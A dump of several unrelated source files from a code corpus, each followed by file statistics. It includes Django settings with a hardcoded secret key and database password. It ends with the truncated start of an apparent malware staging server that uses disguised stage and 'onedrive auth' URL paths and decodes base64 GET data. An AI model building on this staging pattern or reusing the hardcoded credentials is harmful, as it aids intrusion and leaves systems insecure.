CORS_ALLOWED_ORIGINS = env('CORS_ALLOWED_ORIGINS')
if env('REMOTE_STORAGE'):
DEFAULT_FILE_STORAGE = 'api.custom_class.MediaStorage'
AWS_S3_ENDPOINT_URL = 'https://us-east-1.linodeobjects.com'
AWS_S3_REGION_NAME = 'US'
AWS_DEFAULT_ACL = 'public-read'
AWS_QUERYSTRING_AUTH = False
AWS_ACCESS_KEY_ID = env('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = env('AWS_SECRET_ACCESS_KEY')
AWS_STORAGE_BUCKET_NAME = env('AWS_STORAGE_BUCKET_NAME')
AWS_S3_CUSTOM_DOMAIN = env('AWS_S3_CUSTOM_DOMAIN')
else:
STATIC_ROOT = '{0}/static'.format(BASE_DIR)
MEDIA_ROOT = '{0}/media'.format(BASE_DIR)
elif ENV == 'PROD':
DEBUG = False
SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'console': {
'level': 'INFO',
'class': 'logging.StreamHandler',
'stream' : 'ext://sys.stdout',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'level': 'INFO',
'propagate': True,
},
},
}
DEFAULT_FILE_STORAGE = 'api.custom_class.MediaStorage'
AWS_S3_ENDPOINT_URL = 'https://us-east-1.linodeobjects.com'
AWS_S3_REGION_NAME = 'US'
AWS_DEFAULT_ACL = 'public-read'
AWS_QUERYSTRING_AUTH = False
AWS_ACCESS_KEY_ID = env('AWS_ACCESS_KEY_ID')
AWS_SECRET_ACCESS_KEY = env('AWS_SECRET_ACCESS_KEY')
AWS_STORAGE_BUCKET_NAME = env('AWS_STORAGE_BUCKET_NAME')
AWS_S3_CUSTOM_DOMAIN = env('AWS_S3_CUSTOM_DOMAIN')
| 27.247826 | 154 | 0.657891 | 676 | 6,267 | 5.871302 | 0.37426 | 0.055682 | 0.034266 | 0.037793 | 0.248425 | 0.248425 | 0.209121 | 0.209121 | 0.18191 | 0.151675 | 0 | 0.007869 | 0.209191 | 6,267 | 229 | 155 | 27.366812 | 0.792978 | 0.162119 | 0 | 0.125 | 1 | 0 | 0.446634 | 0.278692 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.03125 | 0.0125 | 0 | 0.0125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9ad087156ac3a105145a098808b5c0d80354b64 | 1,014 | py | Python | backend/improvements/mine.py | aecobb53/civ_vi_city_planner | bac9517507f0f50a172fe821a8c08d7945fdf74f | [
"MIT"
] | 2 | 2020-12-10T03:10:52.000Z | 2020-12-27T06:17:01.000Z | backend/improvements/mine.py | aecobb53/civ_vi_city_planner | bac9517507f0f50a172fe821a8c08d7945fdf74f | [
"MIT"
] | 8 | 2020-12-10T06:38:10.000Z | 2021-05-01T22:27:37.000Z | backend/improvements/mine.py | aecobb53/civ_vi_city_planner | bac9517507f0f50a172fe821a8c08d7945fdf74f | [
"MIT"
] | null | null | null | from backend.common_tile import CommonTile
class Mine(CommonTile):
def __init__(self):
super().__init__()
self.production = 1
self.appeal = -1
self.acceptable_terrain = [
'deserth',
'grasslandh',
'plainsh',
'snowh',
'tundrah',
]
self.acceptable_features = None
self.resources = [
'copper',
'diamonds',
'gold_ore',
'iron',
'jade',
'mercury',
'salt',
'niter',
'coal',
'aluminum',
'uranium',
'amber',
]
def calculate_erah(self, tile_obj, target_index, adj_list): # pragma: no cover
target_object = getattr(tile_obj, target_index)
if tile_obj.erah >= 2:
target_object.production = target_object.production + 1
if tile_obj.erah >= 4:
target_object.production = target_object.production + 1
| 26 | 83 | 0.498028 | 91 | 1,014 | 5.274725 | 0.582418 | 0.125 | 0.183333 | 0.075 | 0.1875 | 0.1875 | 0.1875 | 0 | 0 | 0 | 0 | 0.00982 | 0.397436 | 1,014 | 38 | 84 | 26.684211 | 0.775777 | 0.015779 | 0 | 0.058824 | 0 | 0 | 0.106426 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | false | 0 | 0.029412 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9ae07b702ca400980c0c7887914c67d1f04fa3b | 700 | py | Python | interceptor/migrations/0006_auto_20200514_0637.py | minrock/thaad | dfc9dce0b66111e92154b71a3c8249b3695cd9ed | [
"MIT"
] | null | null | null | interceptor/migrations/0006_auto_20200514_0637.py | minrock/thaad | dfc9dce0b66111e92154b71a3c8249b3695cd9ed | [
"MIT"
] | null | null | null | interceptor/migrations/0006_auto_20200514_0637.py | minrock/thaad | dfc9dce0b66111e92154b71a3c8249b3695cd9ed | [
"MIT"
] | 1 | 2020-08-21T01:35:09.000Z | 2020-08-21T01:35:09.000Z | # Generated by Django 3.0.5 on 2020-05-14 06:37
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('interceptor', '0005_auto_20200514_0617'),
]
operations = [
migrations.AddField(
model_name='interceptedrequest',
name='path',
field=models.CharField(default='/', max_length=255),
),
migrations.AddField(
model_name='interceptedrequest',
name='session',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, to='interceptor.InterceptorSession'),
),
]
| 28 | 141 | 0.632857 | 72 | 700 | 6.055556 | 0.652778 | 0.055046 | 0.06422 | 0.100917 | 0.224771 | 0.224771 | 0 | 0 | 0 | 0 | 0 | 0.064639 | 0.248571 | 700 | 24 | 142 | 29.166667 | 0.764259 | 0.064286 | 0 | 0.333333 | 1 | 0 | 0.171516 | 0.081164 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.111111 | 0 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9af76d2907f1842ce017c5b2767d34090fd37f8 | 471 | py | Python | scripts/sample_data/discourse_1369.py | gmatteo/awesome-panel | 7eb6965f4b3a7eca08c07561e631e5beb189ffd3 | [
"Apache-2.0"
] | 179 | 2019-12-04T14:54:53.000Z | 2022-03-30T09:08:38.000Z | scripts/sample_data/discourse_1369.py | hbueno/awesome-panel | fb27bcaf265cef1278cfa0c78799fbbf6c9a6834 | [
"Apache-2.0"
] | 62 | 2019-12-14T16:51:28.000Z | 2022-03-19T18:47:12.000Z | scripts/sample_data/discourse_1369.py | hbueno/awesome-panel | fb27bcaf265cef1278cfa0c78799fbbf6c9a6834 | [
"Apache-2.0"
] | 35 | 2019-12-08T13:19:53.000Z | 2022-03-25T10:33:02.000Z | import panel as pn
def test_alert():
my_alert = pn.pane.Alert("foo", alert_type="primary")
my_button = pn.widgets.Button(name="Toggle")
def toggle(event):
if my_alert.alert_type == "primary":
my_alert.alert_type == "success"
else:
my_alert.alert_type = "primary"
my_alert.object = my_alert.alert_type
my_button.on_click(toggle)
pn.Row(my_alert, my_button).show()
test_alert()
| 22.428571 | 58 | 0.609342 | 64 | 471 | 4.203125 | 0.390625 | 0.182156 | 0.178439 | 0.237918 | 0.223048 | 0.223048 | 0.223048 | 0 | 0 | 0 | 0 | 0 | 0.271762 | 471 | 20 | 59 | 23.55 | 0.784257 | 0 | 0 | 0 | 0 | 0 | 0.08204 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.153846 | false | 0 | 0.076923 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9b193c08d4e2b54525ea95fb1e1ee7312be2f54 | 372 | py | Python | technical_test/order_status/migrations/0004_alter_orderstatus_options.py | R3dward/technical_test_django_n_mysql | d1fe54b3ab73e1269c5e91c62e113c790d4ba892 | [
"MIT"
] | null | null | null | technical_test/order_status/migrations/0004_alter_orderstatus_options.py | R3dward/technical_test_django_n_mysql | d1fe54b3ab73e1269c5e91c62e113c790d4ba892 | [
"MIT"
] | null | null | null | technical_test/order_status/migrations/0004_alter_orderstatus_options.py | R3dward/technical_test_django_n_mysql | d1fe54b3ab73e1269c5e91c62e113c790d4ba892 | [
"MIT"
] | null | null | null | # Generated by Django 3.2.4 on 2021-06-10 23:08
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('order_status', '0003_alter_orderstatus_bought_by'),
]
operations = [
migrations.AlterModelOptions(
name='orderstatus',
options={'ordering': ['order_number']},
),
]
| 20.666667 | 61 | 0.61828 | 38 | 372 | 5.894737 | 0.815789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.069343 | 0.263441 | 372 | 17 | 62 | 21.882353 | 0.748175 | 0.120968 | 0 | 0 | 1 | 0 | 0.230769 | 0.098462 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9b485b811b7ea730f833299f86e192dd1517845 | 1,426 | py | Python | feincms/management/commands/rebuild_mptt.py | duointeractive/feincms | 29b6bc197e854ec69bfb9a4923f029803c8d8f50 | [
"BSD-3-Clause"
] | null | null | null | feincms/management/commands/rebuild_mptt.py | duointeractive/feincms | 29b6bc197e854ec69bfb9a4923f029803c8d8f50 | [
"BSD-3-Clause"
] | null | null | null | feincms/management/commands/rebuild_mptt.py | duointeractive/feincms | 29b6bc197e854ec69bfb9a4923f029803c8d8f50 | [
"BSD-3-Clause"
] | 1 | 2020-06-27T11:12:21.000Z | 2020-06-27T11:12:21.000Z | # ------------------------------------------------------------------------
# coding=utf-8
# $Id$
# ------------------------------------------------------------------------
from django.core.management.base import NoArgsCommand
from django.db import transaction
from feincms.module.page.models import Page
class Command(NoArgsCommand):
help = "Run this manually to rebuild your mptt pointers. Only use in emergencies."
@staticmethod
def seq(start = 1):
"""
Returns an ever-increasing stream of numbers. The starting point can
be freely defined.
"""
while True:
yield start
start += 1
@transaction.commit_manually
def handle_noargs(self, **options):
print "Rebuilding MPTT pointers for Page"
root = 1
changes = set()
for page in Page.objects.filter(parent__isnull=True).order_by('tree_id'):
print " Processing subtree %d at %s" % ( page.tree_id, page.slug )
page.tree_id = root # Renumber tree_id for good measure
self.renumber_mptt_tree(page, self.seq(1))
root += 1
transaction.commit()
def renumber_mptt_tree(self, obj, edge_count):
obj.lft = edge_count.next()
for c in obj.children.order_by('lft', 'rght').all():
self.renumber_mptt_tree(c, edge_count)
obj.rght = edge_count.next()
obj.save() | 31.688889 | 86 | 0.557504 | 165 | 1,426 | 4.69697 | 0.551515 | 0.030968 | 0.061935 | 0.051613 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005639 | 0.253857 | 1,426 | 45 | 87 | 31.688889 | 0.722744 | 0.138149 | 0 | 0 | 0 | 0 | 0.134842 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.111111 | null | null | 0.074074 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9b8dcffe0bf3a7f1f0315dd52f8c586577a6eeb | 3,503 | py | Python | scripts/train_all.py | davek44/Glimmer-MG | ced287371a118ff403e0a5c09735c154cffa34ec | [
"Artistic-1.0"
] | 5 | 2017-08-19T23:38:14.000Z | 2021-02-08T23:23:57.000Z | scripts/train_all.py | davek44/Glimmer-MG | ced287371a118ff403e0a5c09735c154cffa34ec | [
"Artistic-1.0"
] | 2 | 2015-10-31T19:54:37.000Z | 2018-06-05T21:47:12.000Z | scripts/train_all.py | davek44/Glimmer-MG | ced287371a118ff403e0a5c09735c154cffa34ec | [
"Artistic-1.0"
] | 5 | 2020-02-11T14:55:43.000Z | 2021-10-08T13:41:25.000Z | #!/usr/bin/env python
from optparse import OptionParser, SUPPRESS_HELP
import glob, os, time, subprocess, sys
################################################################################
# train_all.py
#
# Run train_gbk in parallel on the gbk files defined by the glob
################################################################################
scripts_dir = os.path.abspath(os.path.dirname(sys.argv[0]))
genomes_dir = os.path.abspath('%s/../phymm/.genomeData' % scripts_dir)
################################################################################
# main
################################################################################
def main():
usage = 'usage: %prog [options] arg'
parser = OptionParser(usage)
parser.add_option('-p', dest='proc', type='int', default=2, help='Number of CPUs to utilize [default: %default]')
parser.add_option('-l','--min_length', dest='min_length', default=0, help='Minimum length of gene (and ORF) to consider [default: %default]')
parser.add_option('-o','--max_overlap', dest='max_overlap', default=0, help='Maximum overlap of two genes (or gene and ORF) to consider [default: %default]')
parser.add_option('-u','--undone', dest='undone', default=False, action='store_true', help='Only train for organisms that are not yet done')
# run on Condor grid
parser.add_option('--condor', dest='condor', default=False, action='store_true', help=SUPPRESS_HELP)
(options,args) = parser.parse_args()
cmds = []
for gbk_file in glob.glob('%s/*/*.gbk' % genomes_dir):
if options.min_length:
ml = '-l %d ' % options.min_length
else:
ml = ''
if options.max_overlap:
mo = '-o %d' % options.max_overlap
else:
mo = ''
if not options.undone or not os.path.isfile('%s.lengths.genes.txt' % gbk_file[:-4]):
cmd = '%s/train_features.py %s%s--gbk %s --min_icm 2000' % (scripts_dir, ml, mo, gbk_file)
if options.condor:
cmds.append('runCmd -c "%s"' % cmd)
else:
cmds.append(cmd)
exec_par(cmds, options.proc, print_cmd=True)
############################################################
# exec_par
#
# Execute the commands in the list 'cmds' in parallel, but
# only running 'max_proc' at a time.
############################################################
def exec_par(cmds, max_proc, print_cmd=False):
total = len(cmds)
finished = 0
running = 0
p = []
while finished + running < total:
# launch jobs up to max
while running < max_proc and finished+running < total:
if print_cmd:
print cmds[finished+running]
p.append(subprocess.Popen(cmds[finished+running], shell=True))
#print 'Running %d' % p[running].pid
running += 1
# are any jobs finished
new_p = []
for i in range(len(p)):
if p[i].poll() != None:
running -= 1
finished += 1
else:
new_p.append(p[i])
# if none finished, sleep
if len(new_p) == len(p):
time.sleep(1)
p = new_p
# wait for all to finish
for i in range(len(p)):
p[i].wait()
################################################################################
# __main__
################################################################################
if __name__ == '__main__':
main()
| 36.113402 | 161 | 0.489009 | 403 | 3,503 | 4.114144 | 0.349876 | 0.027141 | 0.045235 | 0.041616 | 0.132087 | 0.114596 | 0.059107 | 0.059107 | 0.059107 | 0.059107 | 0 | 0.005527 | 0.225236 | 3,503 | 96 | 162 | 36.489583 | 0.60538 | 0.101627 | 0 | 0.109091 | 0 | 0 | 0.198341 | 0.009087 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.036364 | null | null | 0.072727 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9baeece1ff7b0efd040bc3d5f266b8de85277ad | 711 | py | Python | pyoop/3/2.py | yc19890920/Learn | 3990e75b469225ba7b430539ef9a16abe89eb863 | [
"Apache-2.0"
] | 1 | 2021-01-11T06:30:44.000Z | 2021-01-11T06:30:44.000Z | pyoop/3/2.py | yc19890920/Learn | 3990e75b469225ba7b430539ef9a16abe89eb863 | [
"Apache-2.0"
] | 23 | 2020-02-12T02:35:49.000Z | 2022-02-11T03:45:40.000Z | pyoop/3/2.py | yc19890920/Learn | 3990e75b469225ba7b430539ef9a16abe89eb863 | [
"Apache-2.0"
] | 2 | 2020-04-08T15:39:46.000Z | 2020-10-10T10:13:09.000Z | class Fjs(object):
def __init__(self, name):
self.name = name
def hello(self):
print("said by : ", self.name)
def __getattr__(self, item):
print("访问了特性1:" + item)
return None
raise AttributeError
def __setattr__(self, key, value):
print("访问了特性2:" + key)
self.__dict__[key] = value
def __getattribute__(self, item):
print("访问了特性3:" + item)
return object.__getattribute__(self, item)
fjs = Fjs("fjs")
print(fjs.name )
print('-------------1-------')
fjs.hello()
print('--------------2------')
fjs.bb
"""
访问了特性:name
fjs
---------------2-----
访问了特性:hello
访问了特性:name
said by : fjs
""" | 20.314286 | 51 | 0.516174 | 78 | 711 | 4.397436 | 0.371795 | 0.069971 | 0.075802 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01165 | 0.275668 | 711 | 35 | 52 | 20.314286 | 0.654369 | 0 | 0 | 0 | 0 | 0 | 0.127517 | 0.07047 | 0 | 0 | 0 | 0 | 0 | 1 | 0.238095 | false | 0 | 0 | 0 | 0.380952 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9baf5b8fb6aa410e1d594792ef195718d84e1d0 | 3,679 | py | Python | king_blog/settings.py | pythonyhd/django_blog | 285800df723ede53bc8b827bd9d3c6ee11bba07a | [
"Apache-2.0"
] | 2 | 2019-12-04T05:36:40.000Z | 2020-01-20T06:52:20.000Z | king_blog/settings.py | pythonyhd/django_blog | 285800df723ede53bc8b827bd9d3c6ee11bba07a | [
"Apache-2.0"
] | 9 | 2021-04-08T21:59:16.000Z | 2022-03-12T00:48:24.000Z | king_blog/settings.py | pythonyhd/django_blog | 285800df723ede53bc8b827bd9d3c6ee11bba07a | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import os
import sys
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
sys.path.insert(0, os.path.join(BASE_DIR, 'apps'))
sys.path.insert(0, os.path.join(BASE_DIR, 'extra_apps'))
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'l==+c9e&r^#@%^y1=l9m7ki!lyc^vcdefnyu#(k7$o21&j%%h$'
DEBUG = True
ALLOWED_HOSTS = []
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'blog',
'users',
# 后台管理修改成xadmin
'xadmin',
'crispy_forms',
'import_export',
# 富文本编辑器
'ckeditor',
# 文件上传
'ckeditor_uploader',
# 登录注册简单验证码库
'captcha',
# 分页
# 'pure_pagination',
]
AUTH_USER_MODEL = 'users.UserProfile' # Django使用两个app创建外键时对‘auth.User’产生了多对多的依赖所以报错
# 自定义后台登录认证
AUTHENTICATION_BACKENDS = (
'users.views.CustomBackends',
)
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'king_blog.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
# 对html里面的图片地址做注册,防止HTML页面找不到media,2.2版本放到template目录
# 'django.template.context_processors.media',
],
},
},
]
WSGI_APPLICATION = 'king_blog.wsgi.application'
# Database
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'blog',
'USER': 'root',
'PASSWORD': '123456',
'HOST': '127.0.0.1',
'PORT': '3306',
# 'OPTIONS': {
# "init_command": "SET foreign_key_checks = 0;",
# }
}
}
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# LANGUAGE_CODE = 'zh-Hans'
LANGUAGE_CODE = 'zh-hans' # 使用ckeditor的时候,大写后台显示繁体,修改小写之后恢复简体
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = False # 跟本地时间同步,否则会应用UTC时间
# Static files (CSS, JavaScript, Images)
# 放静态文件,css,JS,等等
STATIC_URL = '/static/'
STATICFILES_DIRS = [
os.path.join(BASE_DIR, 'static')
]
# 图片上传路径,跟前端页面配合使用,上传文件目录
MEDIA_URL = '/media/'
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
# 富文本编辑器文件上传路径
CKEDITOR_UPLOAD_PATH = 'uploads/'
CKEDITOR_JQUERY_URL = 'https://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js'
CKEDITOR_IMAGE_BACKEND = 'pillow'
CKEDITOR_CONFIGS = {
'default': {
'toolbar': 'full',
# 添加按钮在这里
'toolbar_Custom': [
['Blockquote', 'CodeSnippet'],
],
},
} | 23.735484 | 91 | 0.642838 | 368 | 3,679 | 6.266304 | 0.494565 | 0.084562 | 0.051605 | 0.030356 | 0.133998 | 0.112749 | 0.026886 | 0.026886 | 0.026886 | 0 | 0 | 0.012418 | 0.212014 | 3,679 | 155 | 92 | 23.735484 | 0.783029 | 0.148954 | 0 | 0.039604 | 0 | 0.019802 | 0.48439 | 0.337625 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.059406 | 0.029703 | 0 | 0.029703 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
a9bb0ce38a5e1cd7f5653a82cd103752babbcf87 | 1,686 | py | Python | nfsops/configurations/restore.py | nfsops/nfsops | d7b6fc12c5a1845f468e2737fad7031fd37bd3f2 | [
"BSD-3-Clause"
] | null | null | null | nfsops/configurations/restore.py | nfsops/nfsops | d7b6fc12c5a1845f468e2737fad7031fd37bd3f2 | [
"BSD-3-Clause"
] | null | null | null | nfsops/configurations/restore.py | nfsops/nfsops | d7b6fc12c5a1845f468e2737fad7031fd37bd3f2 | [
"BSD-3-Clause"
] | null | null | null | '''
Restore configuration model.
'''
from typing import Any, Dict, Literal, Optional, Union
from pydantic import NonNegativeInt, validator
from .configuration import Configuration
class RestoreConfiguration(Configuration):
'''
Restore configuration model.
'''
#: Configuration type.
type: Literal['restore'] = 'restore'
#: Single/initial backup version.
version: Union[Literal['*'], NonNegativeInt]
#: Final backup version.
final_version: Optional[Union[Literal['*'], NonNegativeInt]] = None
@validator('final_version', always=True)
@classmethod
def validate_root_template(
cls,
value: Optional[Union[Literal['*'], NonNegativeInt]],
values: Dict[str, Any]
) -> Optional[Union[Literal['*'], NonNegativeInt]]:
'''
Return original value if the range of backup versions is valid,
raise exception otherwise.
Parameters:
value (Optional[Union[Literal['*'], NonNegativeInt]]): Final backup version or `None`.
values (Dict[str, Any]): Dictionary containing all parameter values.
Returns:
Optional[Union[Literal['*'], NonNegativeInt]]: A valid final backup version.
Raises:
ValueError: Expected range of backup versions is invalid.
'''
if value is None:
return value
if isinstance(value, str) or isinstance(values['version'], str):
return value
if value < values['version']:
raise ValueError(
'parameter value must be greater than "version" value.'
)
return value
__all__ = [
'RestoreConfiguration'
]
| 27.639344 | 98 | 0.627521 | 162 | 1,686 | 6.481481 | 0.388889 | 0.074286 | 0.148571 | 0.161905 | 0.177143 | 0.08381 | 0 | 0 | 0 | 0 | 0 | 0 | 0.265718 | 1,686 | 60 | 99 | 28.1 | 0.848142 | 0.333333 | 0 | 0.115385 | 0 | 0 | 0.116601 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.115385 | 0 | 0.423077 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9bfb46007f2c7a7b605b92de35a99c3a1fced0d | 1,306 | py | Python | tests/test_metrics.py | vzhong/wrangl | 8cc6cbda83908375649ecff8f3f81eab9a636636 | [
"Apache-2.0"
] | 9 | 2021-09-01T05:54:01.000Z | 2021-11-03T08:32:21.000Z | tests/test_metrics.py | vzhong/wrangl | 8cc6cbda83908375649ecff8f3f81eab9a636636 | [
"Apache-2.0"
] | null | null | null | tests/test_metrics.py | vzhong/wrangl | 8cc6cbda83908375649ecff8f3f81eab9a636636 | [
"Apache-2.0"
] | null | null | null | import unittest
from wrangl import metrics as M
class TestMetrics(unittest.TestCase):
def test_accuracy(self):
m = M.Accuracy()
self.assertTrue(m.single_forward('foo', 'foo'))
self.assertFalse(m.single_forward('foo', 'bar'))
self.assertDictEqual(dict(accuracy=0.5), m.forward([('foo', 'foo'), ('foo', 'bar')]))
def test_precision(self):
m = M.Precision()
self.assertEqual(0.25, m.single_forward({1, 2}, {2, 4, 5, 6}))
self.assertEqual(1, m.single_forward({1, 2, 4, 5}, {1, 4}))
self.assertDictEqual(dict(precision=1.25/2), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})]))
def test_recall(self):
m = M.Recall()
self.assertEqual(0.5, m.single_forward({1, 2}, {2, 4, 5, 6}))
self.assertEqual(0.5, m.single_forward({1, 2, 4, 5}, {1, 4}))
self.assertDictEqual(dict(recall=0.5), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})]))
def test_f1(self):
m = M.F1Score()
a = 2*0.5*0.25/0.75
b = 2*0.5/1.5
self.assertEqual(a, m.single_forward({1, 2}, {2, 4, 5, 6}))
self.assertEqual(b, m.single_forward({1, 2, 4, 5}, {1, 4}))
self.assertDictEqual(dict(f1score=(a+b)/2), m.forward([({1, 2}, {2, 4, 5, 6}), ({1, 2, 4, 5}, {1, 4})]))
| 40.8125 | 113 | 0.542879 | 217 | 1,306 | 3.211982 | 0.170507 | 0.034433 | 0.05165 | 0.129125 | 0.472023 | 0.472023 | 0.472023 | 0.472023 | 0.472023 | 0.444763 | 0 | 0.104536 | 0.223583 | 1,306 | 31 | 114 | 42.129032 | 0.58284 | 0 | 0 | 0 | 0 | 0 | 0.018377 | 0 | 0 | 0 | 0 | 0 | 0.48 | 1 | 0.16 | false | 0 | 0.08 | 0 | 0.28 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
a9c994abd4d5787cc770b409bf0ea0c4399fdfc2 | 8,783 | py | Python | lib/web.py | magnusstubman/mal00 | e99cad410657bf0452cae02d81d89c211732a789 | [
"MIT"
] | 3 | 2021-03-29T13:28:31.000Z | 2021-10-12T09:33:14.000Z | lib/web.py | magnusstubman/mal00 | e99cad410657bf0452cae02d81d89c211732a789 | [
"MIT"
] | null | null | null | lib/web.py | magnusstubman/mal00 | e99cad410657bf0452cae02d81d89c211732a789 | [
"MIT"
] | 1 | 2021-04-05T10:19:34.000Z | 2021-04-05T10:19:34.000Z | import os
import ssl
import ipaddress
import hashlib
from ipaddress import *
import asyncio
import pyminizip
import base64
import datetime
from time import gmtime, strftime
from aiohttp import web
import urllib.parse
from shutil import copyfile
import sys
import pycdlib
from io import BytesIO
stage0UrlPrefix = '/documents/lang/'
stage1UrlPrefix = '/documents/grammar/'
onedriveUrlPrefix = '/onedrive/auth/'
def createGETCallback(cb):
global callback
callback = cb
async def handleWeb(request):
data = request.match_info.get('data', '')
try:
data = urllib.parse.unquote(data)
data = base64.b64decode(data)
except:
return web.Response(status=404, content_type='text/html', headers={'Server': 'Apache/2.4'})
peername = request.transport.get_extra_info('peername')
if peername is not None:
host, port = peername
global callback
